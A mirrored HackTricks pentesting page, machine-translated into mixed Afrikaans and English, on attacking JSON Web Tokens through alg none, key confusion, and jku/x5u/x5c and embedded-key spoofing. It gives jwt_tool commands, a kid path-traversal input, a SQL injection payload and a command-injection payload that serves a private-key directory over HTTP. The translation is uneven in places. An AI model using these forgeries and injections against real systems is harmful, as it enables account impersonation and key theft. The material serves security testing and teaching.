mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00

Translator 6020331343 Translated ['pentesting-web/browser-extension-pentesting-methodology/REA

2024-07-19 16:15:11 +00:00

18 KiB

Raw Blame History

JWT Kw vulnerabilities (Json Web Tokens)

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

{% endhint %}

As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons is op soek na mense! (vloeiende Pools geskryf en gesproke vereis).

{% embed url="https://www.stmcyber.com/careers" %}

Deel van hierdie pos is gebaseer op die wonderlike pos: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Skepper van die groot hulpmiddel om JWTs te pentest https://github.com/ticarpi/jwt_tool

Vinige Oorwinnings

Voer jwt_tool uit met die modus All Tests! en wag vir groen lyne

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

As jy gelukkig is, sal die hulpmiddel 'n geval vind waar die webtoepassing die JWT verkeerd nagaan:

Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoek dump met jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur om JWT-aanvalle vanaf Burp te begin.

Manipuleer data sonder om enigiets te verander

Jy kan net die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.

Word die token nagegaan?

Om te kyk of 'n JWT se handtekening geverifieer word:

'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
'n Verandering in die teruggegee bladsy dui ook op verifikasie.
Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.

Oorsprong

Dit is belangrik om te bepaal of die token server-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.

Tokens wat eers van die kliëntkant gesien word, dui daarop dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
Tokens wat server-kant oorspronklik is, dui op 'n veilige proses.

Duur

Kyk of die token langer as 24 uur hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.

Brute-force HMAC geheim

Sien hierdie bladsy.

Verander die algoritme na Geen

Stel die algoritme wat gebruik word as "Geen" en verwyder die handtekeningdeel.

Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token" oortjie kan jy die waardes van die token verander. Jy kan ook kies om die waarde van die "Alg" veld na "Geen" te plaas).

Verander die algoritme RS256(asimmetries) na HS256(simmetries) (CVE-2016-5431/CVE-2016-10555)

Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.
Die algoritme RS256 gebruik die privaat sleutel om die boodskap te teken en gebruik die publieke sleutel vir verifikasie.

As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant kode die publieke sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.

Dan, deur die publieke sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener verkry deur dit uit te voer:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nuwe publieke sleutel binne die kop

'n Aanvaller inkorporeer 'n nuwe sleutel in die kop van die token en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).

Dit kan gedoen word met die "JSON Web Tokens" Burp uitbreiding.
(Stuur die versoek na die Repeater, binne die JSON Web Token oortjie kies "CVE-2018-0114" en stuur die versoek).

JWKS Spoofing

Die instruksies detail 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.

Evalueer Tokens met "jku" Kop:
Verifieer die "jku" eis se URL om te verseker dat dit na die toepaslike JWKS lêer lei.
Wysig die token se "jku" waarde om na 'n beheerde webdiens te lei, wat verkeer waarneming moontlik maak.
Monitering vir HTTP Interaksie:
Waarneming van HTTP versoeke na jou gespesifiseerde URL dui op die bediener se pogings om sleutels van jou verskafde skakel te verkry.
Wanneer jwt_tool vir hierdie proses gebruik word, is dit noodsaaklik om die jwtconf.ini lêer met jou persoonlike JWKS ligging op te dateer om die toetsing te fasiliteer.
Opdrag vir jwt_tool:
Voer die volgende opdrag uit om die scenario met jwt_tool te simuleer:

python3 jwt_tool.py JWT_HERE -X s

Kid Probleem Oorsig

'n Opsionele kop eis bekend as kid word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar verskeie sleutels bestaan vir token handtekening verifikasie. Hierdie eis help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer.

Onthulling van Sleutel deur "kid"

Wanneer die kid eis in die kop teenwoordig is, word dit aanbeveel om die webgids te soek na die ooreenstemmende lêer of sy variasies. Byvoorbeeld, as "kid":"key/12345" gespesifiseer is, moet die lêers /key/12345 en /key/12345.pem in die web wortel gesoek word.

Pad Traversering met "kid"

Die kid eis kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n arbitrêre lêer toelaat. Dit is haalbaar om vir konnektiwiteit te toets of om Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die kid waarde te verander om spesifieke lêers of dienste te teiken. Om die JWT te manipuleer om die kid waarde te verander terwyl die oorspronklike handtekening behou word, kan bereik word met die -T vlag in jwt_tool, soos hieronder gedemonstreer:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via "kid"

As die kid eis se inhoud gebruik word om 'n wagwoord uit 'n databasis te verkry, kan 'n SQL-inspuiting gefasiliteer word deur die kid payload te verander. 'n Voorbeeld payload wat SQL-inspuiting gebruik om die JWT-handtekening proses te verander, sluit in:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, ATTACKER, vir JWT-handtekening.

OS Injection through "kid"

'n Scenario waar die kid parameter 'n lêer pad spesifiseer wat binne 'n opdrag uitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die kid parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld payload om RCE en sleutelblootstelling te bereik is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku staan vir JWK Set URL.
As die token 'n “jku” Header eis gebruik, dan kyk na die verskafde URL. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku waarde na 'n webdiens te wys wat jy kan monitor vir verkeer.

Eerstens moet jy 'n nuwe sertifikaat met nuwe private & publieke sleutels skep.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die gecreëerde publieke en private sleutels en die parameter jku na die geskepte sertifikaat te wys. Om 'n geldige jku-sertifikaat te skep, kan jy die oorspronklike aflaai en die nodige parameters verander.

Jy kan die parameters "e" en "n" van 'n publieke sertifikaat verkry met:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. 'n URI wat na 'n stel X.509 (’n sertifikaatformaatstandaard) publieke sertifikate verwys wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik word om hierdie JWT te teken. Die daaropvolgende sertifikate teken elk die vorige een, wat die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is vereis om die sertifikate oor te dra.

Probeer om hierdie kop te verander na 'n URL onder jou beheer en kyk of enige versoek ontvang word. In daardie geval kan jy die JWT manipuleer.

Om 'n nuwe token te vervals met 'n sertifikaat wat deur jou beheer word, moet jy die sertifikaat skep en die publieke en private sleutels onttrek:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the gecreëerde publieke en private sleutels en die die parameter x5u na die sertifikaat .crt wat geskep is, wys.

You can also abuse both of these vulns vir SSRFs.

x5c

This parameter may contain the sertifikaat in base64:

If the attacker genereer 'n self-ondertekende sertifikaat and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generated sertifikaat and modifies the other parameters, namely n, e and x5t then essentially the forged token would get accepted by the server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

As die JWT 'n openbare sleutel ingebed het soos in die volgende scenario:

Deur die volgende nodejs-skrip te gebruik, is dit moontlik om 'n openbare sleutel uit daardie data te genereer:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Dit is moontlik om 'n nuwe privaat/openbare sleutel te genereer, die nuwe openbare sleutel in die token in te sluit en dit te gebruik om 'n nuwe handtekening te genereer:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

U kan die "n" en "e" verkry met hierdie nodejs skrip:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy jwt.io gebruik om 'n nuwe geldige JWT te vervals met enige inligting.

ES256: Onthulling van die private sleutel met dieselfde nonce

As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die private sleutel herstel word.

Hier is 'n voorbeeld: ECDSA: Onthulling van die private sleutel, as dieselfde nonce gebruik word (met SECP256k1)

JTI (JWT ID)

Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.
Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n versoek te herhaal (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).

JWT Geregistreerde eise

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Ander aanvalle

Cross-service Relay Aanvalle

Daar is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of vernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.

'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.

Vervaldatum Kontrole van Tokens

Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Aangesien JWT's dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toetsingstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met die jwt_tool se -R vlag.

'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.

Gereedskap

{% embed url="https://github.com/ticarpi/jwt_tool" %}

As jy belangstel in 'n hacking loopbaan en die onhackable hack - ons huur aan! (vloeiend Pools geskryf en gesproke vereis).